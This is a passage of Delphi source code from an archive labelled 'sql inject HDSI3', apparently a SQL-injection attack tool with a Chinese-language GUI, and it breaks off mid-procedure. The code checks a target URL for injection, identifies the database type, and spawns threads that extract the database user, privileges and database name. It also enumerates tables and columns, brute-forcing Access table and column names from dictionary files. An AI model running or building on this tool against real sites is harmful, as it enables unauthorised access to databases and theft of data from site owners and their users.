main_unit.pas

sql inject HDSI3--delphi.rar

  if Form_main.stop_check=true then
    begin
      Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
      exit;
    end;

  //进行数据库类型的检测
  if CheckBox_keyword.Checked then
  begin
     if  CJdatabase_unit.Inject_methord<>0 then
       CJdatabase_unit.Database_methord:=Database_type_method_ByKeyWord(CJdatabase_unit.Inject_methord,str_url,keyword);
  end
  else
  begin
      //如果未检测出报错方式的注入类型，进行未报错方式的注入类型检测
      if (CJdatabase_unit.Inject_methord=0) and (cjdatabase_unit.Database_methord=0) then
      begin
          CJdatabase_unit.Inject_methord:=CJdatabase_unit.Inject_method(str_url);
          if   CJdatabase_unit.Inject_methord >0 then
              CJdatabase_unit.Database_methord:=CJdatabase_unit.Database_type_method(CJdatabase_unit.Inject_methord,str_url);

      end;  // end of if
   end; //end of else

  // 对注入方式和数据库类型的 RadioButton进行处理
  case cjdatabase_unit.Inject_methord of
  1:suiRadioButton_methord1.Checked:=true;
  2:suiRadioButton_methord2.Checked:=true;
  3:suiRadioButton_methord3.Checked:=true;
  end;
  case cjdatabase_unit.Database_methord of
  1: suiRadioButton_report.Checked:=true;
  2: suiRadioButton_notReport.Checked:=true;
  3: suiRadioButton_access.Checked:=true;
  end;
  //*************************
  //如果未检测到注入方式，退出检测
  if CJdatabase_unit.Inject_methord=0 then
  begin
      application.MessageBox(pchar('未检测到注入漏洞，请使用关键字重新检测'),pchar('提示'),mb_ok);
      exit;
  end;


  if CJdatabase_unit.Database_methord=3 then
  begin
      application.MessageBox(pchar('检测完毕'),pchar('提示'),mb_ok);
      exit;
  end;

  //判断是否停止
  if Form_main.stop_check=true then
    begin
      Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
      exit;
    end;
  CanMultObj:=TThreadCanMult.Create(true);
  CanMultObj.FURL:=str_url;
  CanMultObj.FreeOnTerminate:=true;
  CanMultObj.Resume;


  if Form_main.stop_check=true then
    begin
      Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
      exit;
    end;

  //是否支持子查询
  if cjdatabase_unit.Inject_methord<>0 then
  suiEdit_sub.Text:='支持'
  else
  begin
    if CJdatabase_unit.CanSubquery(str_url,sContent) then
      suiEdit_sub.Text:='支持'
    else
      suiEdit_sub.Text:='不支持';
  end;

  if Form_main.stop_check=true then
    begin
      Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
      exit;
    end;

  //获取数据库用户权限
  UserPowerObj:=TThreadUserPower.Create(true);
  UserPowerObj.FURL:=str_url;
  UserPowerObj.FreeOnTerminate:=true;
  UserPowerObj.Resume;


  //获取数据库用户名
  //如果是没有出错信息，执行暴力破解
  if cjdatabase_unit.IferrReport=false then
  begin
    Form_main.executeDBUser(main_unit.g_sContent);
  end
  else
      begin
        DBUserObj:=TThreadErrorDBUser.Create(true);
        DBUserObj.FURL:=str_url;
        DBUserObj.FreeOnTerminate:=true;
        DBUserObj.Resume;
      end;


  //获取数据库名
  //如果是没有出错信息，执行暴力破解
     if cjdatabase_unit.IferrReport=false then
     begin
        Form_main.executeDBName(main_unit.g_sContent);
     end
     else
        begin
            DBNameObj:=TThreadErrorDBName.Create(true);
            DBNameObj.FURL:=str_url;
            DBNameObj.FreeOnTerminate:=true;
            DBNameObj.Resume;
        end;
  //等待线程结束
  if cjdatabase_unit.IferrReport=true then
  begin
    while ThdObjCompleteCount<>4 do
    begin
      application.ProcessMessages;
      sleep(100);
    end;
    Application.MessageBox(pchar('检测完毕'),pchar('提示'),mb_ok);
  end;

  if cjdatabase_unit.IferrReport=false then
  begin
    while ThdObjCompleteCount<>2 do
    begin
        application.ProcessMessages;
        sleep(100);
    end;
    Application.MessageBox(pchar('检测完毕'),pchar('提示'),mb_ok);
  end;

  Button2.Enabled:=true;
  Button3.Enabled:=true;
  Button4.Enabled:=true;
  except
  end;
end;
//****************************************************************
procedure TForm_main.wbDocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
begin
    Form_main.FWbComplete:=true;
end;

procedure TForm_main.suiButton_columnClick(Sender: TObject);
var
    str_url:string;
    i:integer;
    item:TListItem;
    tableName:string;
    columnCount:integer;
    columnName:string;
    stype:string;
    Mydict:TextFile;
    strdict:string;//读到的列名
begin
  try
    Button_update.Enabled:=false;
    i:=0;
    ThdColCompleteCount:=0;
  //初始化
    Form_main.stop_table:=true;
    Form_main.stop_column:=false;
    Form_main.stop_record:=true;
    Form_main.stop_check:=true;
    //如果没有注入地址，退出
  if suiComboBox2_url.Text='' then
    begin
      Application.MessageBox(pchar('注入地址不能为空,请添入注入地址'),pchar('警告'),mb_ok);
      exit;
    end;
  str_url:=trim(suiComboBox2_url.Text);
  //未选定表，退出
  if ListView_table.SelCount<>1 then
    begin
      Application.MessageBox(pchar('未选择需要猜解的表名'),pchar('警告'),mb_ok);
      exit;
    end;
  //取选定的表名
  tableName:=ListView_table.Selected.SubItems.Strings[0];
  ListView_column.Clear;
  //access
  if  cjdatabase_unit.Database_methord=3 then
  begin
    try
      if application.MessageBox(pchar('启动ACCESS数据库猜列，也许要花多点时间，是否继续猜列?'),pchar('提示'),MB_YESNO)= IDYES then
      begin
          AssignFile(Mydict,'dict_field.txt');
          reset(Mydict);
          if not FileExists('dict_field.txt') then
          begin
            application.MessageBox(pchar('不存在字典:dict_field.txt'),pchar('提示'),mb_ok);
            exit;
          end;

          while not eof(MyDict) do
          begin
              if Form_main.stop_column=true then
              begin
                  break;
              end;
              i:=i+1;
              readln(MyDict,strdict);
              ThreadACCColumn(str_url,tablename,strdict);

          end;

          while ThdColCompleteCount<i do
          begin
              application.ProcessMessages;
              sleep(100);
          end;

          Application.MessageBox(pchar('猜解完毕'),pchar('提示'),mb_ok);
          exit;

      end;
     except
     end;

  end;

  if CJdatabase_unit.IferrReport=false then
  begin
      //if Application.MessageBox(pchar('是否进行暴力猜解列名，这需要很长的时间？'),pchar('提示'),MB_YESNO)=IDYES then
      Form_main.executeColumn(str_url,Main_unit.g_sContent);
      Application.MessageBox(pchar('猜解完毕'),pchar('提示'),mb_ok);
      exit;
  end;


  try
  //获取表的字段个数
  columnCount:=cjdatabase_unit.GetColumnCount(str_url,tableName);
  except on E:Exception do
  end;
  //循环字段个数，逐个猜解
  for i:=1 to columnCount do
  begin
      //停止扫描
      if Form_main.stop_column=true then
          begin
           // Application.MessageBox(pchar('停止扫描，猜解完毕'),pchar('提示'),mb_ok);
            exit;
          end;
      if not assigned(ThdErrorColumnObj[i-1]) then
      begin
          ThdErrorColumnObj[i-1]:=TThreadErrorColumn.Create(True);
          ThdErrorColumnObj[i-1].FURL:=str_url;
          ThdErrorColumnObj[i-1].iTop:=i;
          ThdErrorColumnObj[i-1].TableName:=tableName;
          ThdErrorColumnObj[i-1].Resume;
      end;
  end;

  try
      FOR I:=1 TO   columnCount DO
      BEGIN

              if assigned(ThdErrorColumnObj[i-1]) then
              begin
                    WHILE ThdErrorColumnObj[i-1].complete=FALSE DO
                    BEGIN
                      APPLICATION.ProcessMessages;
                      SLEEP(100);
                    END;
                    if ThdErrorColumnObj[i-1].complete=true then
                    begin
                        item:=ListView_Column.Items.Add;
                        item.Caption:=inttostr(i);
                        item.SubItems.Add(ThdErrorColumnObj[i-1].ColumnName);
                        item.SubItems.Add(ThdErrorColumnObj[i-1].xtype);
                        ThdErrorColumnObj[i-1].Free;
                        ThdErrorColumnObj[i-1]:=NIL;
                    end;
              end;
      END;
  except on E:Exception do
  end;

    Application.MessageBox(pchar('猜解完毕'),pchar('提示'),mb_ok);
  except
  end;
end;

procedure  TForm_main.ThreadACCColumn(str_url:string;tablename:string;fieldname:string);
var
  ACCColObj:TThreadACCCol;
begin
  ACCColObj:=TThreadACCCol.Create(true);
  ACCColObj.FURL:= str_url;
  ACCColObj.tablename:=tablename;
  ACCColObj.fieldname:= fieldname;
  ACCColObj.resume;
end;

procedure  TForm_main.ThreadACCTable(str_url:string;tablename:string);
var
  ACCTabObj:TThreadACCTab;
begin
  ACCTabObj:=TThreadACCTab.Create(true);
  ACCTabObj.FURL:= str_url;
  ACCTabObj.tablename:=tablename;
  ACCTabObj.resume;
end;


procedure TForm_main.suiButton_tableClick(Sender: TObject);
var
  TableNameSL:TStringList;
  i:integer;
  item:TListItem;
  RecordCount:string;
  TableCount:integer;//用户表个数
  str_url:string;
  tableName:string;
  MyDict:TextFile;  //字典文件
  strdict:string ;    //字典读出来的表名
begin
   try
    Button_update.Enabled:=false;
    i:=0;
    ThdTabCompleteCount:=0;
    //初始化
    Form_main.stop_table:=false;
    Form_main.stop_column:=true;
    Form_main.stop_record:=true;
    Form_main.stop_check:=true;


    if suiComboBox2_url.Text='' then
    begin
          Application.MessageBox(pchar('注入地址不能为空,请添入注入地址'),pchar('警告'),mb_ok);
          exit;
    end;
    //取注入地址
    str_url:=trim(suiComboBox2_url.Text);
    //开始access数据库的猜解
    if  form_main.suiRadioButton_access.Checked then
    begin
        if application.MessageBox(pchar('启动ACCESS数据库猜表，也许要花多点时间，是否继续猜表?'),pchar('提示框'),MB_YESNO) = IDNO then
          exit;

        AssignFile(MyDict,'Dict_Table.txt');
        reset(MyDict);
        //找不到字典，退出
        if not FileExists('Dict_Table.txt') then
        begin
            Application.MessageBox(pchar('找不到字典：Dict_Table.txt'),pchar('提示框'),mb_ok);
            exit;
        end;

        //猜解access数据库
        while not eof(MyDict) do
        begin
               if form_main.stop_table=true then
                 begin
                   break;
                 end;
                readln(MyDict,strdict);
                i:=i+1;
                ThreadACCTable(str_url,strdict);

         end;
         //判断结束的线程是否达到开始的线程
         while  ThdTabCompleteCount<i do